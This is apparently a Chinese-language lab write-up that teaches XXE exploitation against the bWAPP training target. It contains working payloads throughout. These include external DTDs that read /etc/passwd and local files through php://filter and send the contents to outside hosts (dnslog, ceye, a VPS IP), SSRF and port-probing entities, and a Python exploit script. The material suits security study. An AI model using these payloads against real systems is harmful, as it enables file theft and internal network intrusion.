介紹
這幾天在學習XXE漏洞,這里用靶機bwapp來練習一下這個漏洞,重在學習
xxe漏洞主要針對webservice危險的引用的外部實體並且未對外部實體進行敏感字符的過濾,從而可以造成命令執行,目錄遍歷等.首先存在漏洞的web服務一定是存在xml傳輸數據的,可以在http頭的content-type中查看,也可以根據url一些常見的關鍵字進行判斷測試,例如wsdl(web服務描述語言)。或者一些常見的采用xml的java服務配置文件(spring,struts2)。
不過現實中存在的大多數xxe漏洞都是blind,即不可見的,必須采用帶外通道進行返回信息的記錄,這里簡單來說就是攻擊者必須具有一台具有公網ip的主機.
首先要明白xxe漏洞是如何讀取文件的:
<!ENTITY name SYSTEM "file:///etc/passwd">
<root>&name;</root>
此時服務器會在root節點返回 /etc/passwd 的內容,整個代碼運行流程是name實體加載本地文件,並且文件返回值被賦給name.如果沒有回顯則可以利用帶外通信進行測試.
首先觀察這個http包,在包頭中可以觀察到文件接收者以xml的形式讀取文件,符合xxe漏洞的條件,然后服務器會正常返回在body中post過去的xml代碼執行內容
此時就可以構造惡意的xml代碼,可以看見服務器仍是正常返回,說明在服務器端並沒有進行過濾,因此可以初步確定此應用存在xxe漏洞(非blind型的xxe).
Bind XXE(盲注XXE)
探測
針對blind的xxe,首先需要判斷是否存在XXE漏洞,我這里使用Dnslog平台來驗證一下漏洞是否存在
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://bmjoker.oknsow.dnslog.cn">%remote;
]>
可以看到dnslog收到了請求,證明xxe漏洞存在
讀取文件
可以構造如下evil.dtd請求payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://47.107.136.25/evil.dtd"> %dtd;%int;%send; ]>
<r></r>
這個是用於直接在http body中提交的惡意xml代碼,它會去調用位於我們的主機上的外部xml文件(不在同一個文件寫入要讀取的文件主要是為了避免參數實體引用時發生的錯誤)
以下是eval.dtd的內容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://b7lcxb.dnslog.cn/?p=%file;'>">
具體加載過程:首先加載參數實體 dtd 。此時會遠程加載攻擊者主機上的外部實體,然后加載 int 參數實體。接下來加載 send 實體,此時就是關鍵點,就是用於記載服務器端的返回內容(通過get查詢方式會在攻擊者的服務器日志中留下記錄),查詢的字符串 p 的值便是參數實體 file 的值,也就是讀取的文件。參數實體 int 只是輔助的作用,用於輔助解釋參數實體 send 的內容。
問題
1.這個 % 是不是寫錯了?直接用 % 不行嗎?
如果直接使用%號的話,會出現下面的報錯
DOMDocument::loadXML(): Entity Value: ‘%’ forbidden except for entities
報錯已經說的很清楚,%不允許出現在Entity的value中,所以需要將%進行Unicode編碼為 % 或者 %(轉化成Unicode編碼有兩種形式,以&#后接十進制數字,&#x后接十六進制數字)
2.為什么不能直接 "file:///etc/passwd",而要使用php://filter流
因為字符的原因,雖然沒有在xml中加特殊字符,但是關於字符,有可見字符,也有不可見字符,所以這種情況,需要十六進制(xxd或者hexdump -C)顯示一下是否有系統自己添加的特殊字符,就像echo "hello" > joker,echo命令本身就是回車顯示,所以看似沒有問題的URL,其實有一個小小的回車(0a)存在,導致保存,無法識別file讀取的url路徑。所以目前最好的方法就是利用php://filter流來讀取文件。
具體使用,下面使用Bwapp具體實踐
3.Java怎么使用盲注XXE讀取文件
Java在Blind XXE的利用上,讀取文件會有些問題
在PHP中,我們可以使用 php://filter/read=convert.base64-encode/resource=/etc/hosts 方法將文本內容進行base64編碼。
但是Java中沒這樣的編碼方法,所以如果要讀取換行的文件,一般使用FTP協議,HTTP協議會由於存在換行等字符,請求發送失敗。FTP讀取方法可以參考這篇文章,里面也有FTP Server的相關代碼。
http://www.voidcn.com/article/p-njawsjxm-ko.html
但是,我在測試的時候遇到一個問題,FTP請求發出去了,但是Server端只能看到 New client connected 內容,看不到實際發出去的內容。我猜測和Java版本有關。
java -version java version "1.8.0_121" Java(TM) SE Runtime Environment (build 1.8.0_121-b13) Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)
Bwapp實踐
有回顯的xxe:
基本知識也了解的差不多,現在我們打開bwapp靶機:
我們用burp抓包看看數據傳輸情況(都知道是XXE了,肯定要抓包看看XML數據的傳輸情況啦):
打開burp,點擊頁面any bugs進行抓包:
可以看到xxe-1.php頁面以post方式向xxe-2.php頁面傳輸了XML數據,所以我們可以自己嘗試構建實體,
如果后台沒有合理的解析參數,就有可以造成XXE漏洞。修改的內容,知道這里解析login參數並回顯
增加一個惡意外部實體然后在原本的XML數據中進行實體調用,來進行XXE攻擊。具體如圖,右側
為返回的d:/xxetest.txt文件內容,XXE攻擊成功,我們讀取了windows的重要文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [ <!ENTITY test SYSTEM "file:///d://xxetest.txt"> ]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>
當然,我們也可以利用XXE來讀取網站目錄下的一些重要文件,p.s:讀取內網中其他服務器文件也是可行的,
這也是BWAPP作者將XXE歸到SSRF利用里原因,我們隨便測試個文件試試看,右側返回了文件內容:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test copyright[http://172.19.89.86/bWAPP/bWAPP/robots.txt">
]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>
我們也可以來測試端口是否開放,這里拿80端口是否開放演示:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[ <!ENTITY xxe SYSTEM "http://127.0.0.1:80"> ]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
若80端口開放,回顯如下的報錯信息
若端口不開放,則顯示如下信息:
利用python寫了一個簡單的exp,進行測試,如下:
#coding=utf-8 import requests if __name__ == '__main__': payload = raw_input('輸入你想利用xxe得到的資源,如file:///etc/passwd\npayload:'.decode('utf-8').encode('gbk')) url = 'http://172.19.89.86/bWAPP/bWAPP/xxe-2.php' headers = {'Content-type':'text/xml'} cookies = {'PHPSESSID':'0gbae4b3f9fsofkcdn4k33ere1','security_level':'0'} xml = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE copyright[<!ENTITY test SYSTEM "'+ payload +'">]><reset><login>&test;</login><secret>login</secret></reset>' r = requests.post(url,headers=headers,cookies=cookies,data=xml) print 'xxe攻擊返回結果:'.decode('utf-8').encode('gbk') print r.content
讀取d:/xxetest.txt:
讀取robots.txt:
無回顯XXE讀取文件
先進行判斷是否存在漏洞,直接去解析DNSlog平台
收到dns解析記錄,說明存在xxe漏洞
在服務器上構造evil.dtd,內容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/xxetest.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://cgafwj.ceye.io/?p=%file;'>">
然后在http body中提交的惡意xml代碼,它會去調用位於我們的主機上的外部dtd文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://47.107.136.25/evil.dtd">
%dtd;%int;%send; ]>
這個時候看一下DNSlog平台是否收到記錄:
http收到請求:
dns也受到解析記錄:
參數p后面就是讀取的本地文件的base64后的內容,解密:
成功實現xxe盲注讀取本地文件。
也可以使用下面的方法:
vps上的xml.dtd:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://VPS的地址:2121/%file;'>">
%all;
然后在VPS上用python在2121端口起另一個http服務
python -m SimpleHTTPServer 2121
本地提交:
<?xml version="1.0"?>
<!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://VPS的http服務/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Users/mi/Desktop/1.txt">
%remote; %send; ]>
就會看到監聽的端口收到數據。
參考鏈接:
https://blog.csdn.net/u011721501/article/details/43775691#commentBox
https://thief.one/2017/06/20/1/
http://duyana.top/post/7eb7e3d8/
https://m3lon.github.io/2019/01/20/xxe%E5%AE%9E%E9%AA%8C%E8%B8%A9%E5%9D%91%E8%AE%B0%E5%BD%95/